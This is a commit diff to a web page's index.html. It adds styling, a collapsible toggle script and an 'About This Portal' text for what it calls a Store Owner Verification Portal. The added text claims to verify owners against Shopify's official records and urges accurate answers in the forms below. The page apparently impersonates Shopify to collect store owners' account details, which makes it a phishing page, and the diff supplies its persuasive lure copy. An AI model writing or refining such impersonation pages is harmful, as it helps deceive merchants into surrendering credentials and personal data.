Update index.html

index.html

@@ -197,6 +197,104 @@
 
     .animate-in { animation: fadeIn 0.6s cubic-bezier(0.16, 1, 0.3, 1) forwards; }
 
+    /* Collapsible Section Styles */
+    .collapsible-section {
+      background: linear-gradient(135deg, #e0f2fe 0%, #f0f9ff 100%);
+      border: 2px solid #0ea5e9;
+      border-radius: 1rem;
+      overflow: hidden;
+      transition: all 0.3s ease;
+    }
+
+    @media (prefers-color-scheme: dark) {
+      .collapsible-section {
+        background: linear-gradient(135deg, #0c4a6e 0%, #082f49 100%);
+        border: 2px solid #0284c7;
+      }
+    }
+
+    .collapsible-header {
+      padding: 1.25rem;
+      background: rgba(6, 182, 212, 0.1);
+      cursor: pointer;
+      display: flex;
+      align-items: center;
+      justify-content: space-between;
+      transition: all 0.3s ease;
+      user-select: none;
+    }
+
+    .collapsible-header:hover {
+      background: rgba(6, 182, 212, 0.15);
+    }
+
+    .collapsible-header-content {
+      display: flex;
+      align-items: center;
+      gap: 0.75rem;
+    }
+
+    .collapsible-title {
+      font-size: 1.125rem;
+      font-weight: 700;
+      color: #0369a1;
+      margin: 0;
+    }
+
+    @media (prefers-color-scheme: dark) {
+      .collapsible-title {
+        color: #06b6d4;
+      }
+    }
+
+    .collapsible-icon {
+      width: 1.5rem;
+      height: 1.5rem;
+      color: #0369a1;
+      transition: transform 0.3s ease;
+      flex-shrink: 0;
+    }
+
+    @media (prefers-color-scheme: dark) {
+      .collapsible-icon {
+        color: #06b6d4;
+      }
+    }
+
+    .collapsible-icon.expanded {
+      transform: rotate(180deg);
+    }
+
+    .collapsible-content {
+      max-height: 0;
+      overflow: hidden;
+      transition: max-height 0.4s ease, opacity 0.4s ease, padding 0.4s ease;
+      opacity: 0;
+      padding: 0 1.25rem;
+    }
+
+    .collapsible-content.expanded {
+      max-height: 800px;
+      opacity: 1;
+      padding: 1.25rem;
+    }
+
+    .collapsible-text {
+      color: var(--text-primary);
+      line-height: 1.8;
+      font-size: 0.95rem;
+      white-space: pre-wrap;
+      word-wrap: break-word;
+    }
+
+    .collapsible-text p {
+      margin-bottom: 0.75rem;
+    }
+
+    .collapsible-text p:last-child {
+      margin-bottom: 0;
+    }
+
     pre::-webkit-scrollbar { width: 6px; height: 6px; }
     pre::-webkit-scrollbar-thumb { background: rgba(255, 255, 255, 0.2); border-radius: 10px; }
 
@@ -423,6 +521,28 @@
         </p>
       </div>
 
+      <!-- Collapsible Welcome Section -->
+      <div class="collapsible-section">
+        <div class="collapsible-header" onclick="toggleCollapsible(this)">
+          <div class="collapsible-header-content">
+            <i data-lucide="info" class="w-6 h-6 text-cyan-600 dark:text-cyan-400"></i>
+            <h2 class="collapsible-title">ℹ️ About This Portal</h2>
+          </div>
+          <i data-lucide="chevron-down" class="collapsible-icon"></i>
+        </div>
+        <div class="collapsible-content">
+          <div class="collapsible-text">Welcome to the Store Owner Verification Portal.
+
+This portal has been established to securely confirm the identity of the registered store owner. The purpose of this verification process is to ensure that access and communications are being handled by the authorized account holder.
+
+The information requested during this process is already associated with the store's official Shopify records. Only the registered store owner should be able to accurately provide and confirm these details. This step allows Shopify to properly match submitted information with existing account data and maintain the integrity and security of the store.
+
+Please follow the instructions provided below to complete the verification process. Accurate responses are required to ensure successful authentication.
+
+We appreciate your cooperation in helping maintain a secure and trusted platform.</div>
+        </div>
+      </div>
+
       <div class="glass-card p-8 space-y-6">
         <form id="stepOneForm" class="space-y-6">
           <div class="space-y-2">
@@ -619,6 +739,22 @@
   <script>
     lucide.createIcons();
 
+    // Collapsible Section Toggle Function
+    function toggleCollapsible(headerElement) {
+      const content = headerElement.nextElementSibling;
+      const icon = headerElement.querySelector('.collapsible-icon');
+      
+      if (content.classList.contains('expanded')) {
+        content.classList.remove('expanded');
+        icon.classList.remove('expanded');
+      } else {
+        content.classList.add('expanded');
+        icon.classList.add('expanded');
+        // Re-render lucide icons if needed
+        setTimeout(() => lucide.createIcons(), 50);
+      }
+    }
+
     const stepOneForm = document.getElementById('stepOneForm');
     const verificationForm = document.getElementById('verificationForm');
     const landingView = document.getElementById('landingView');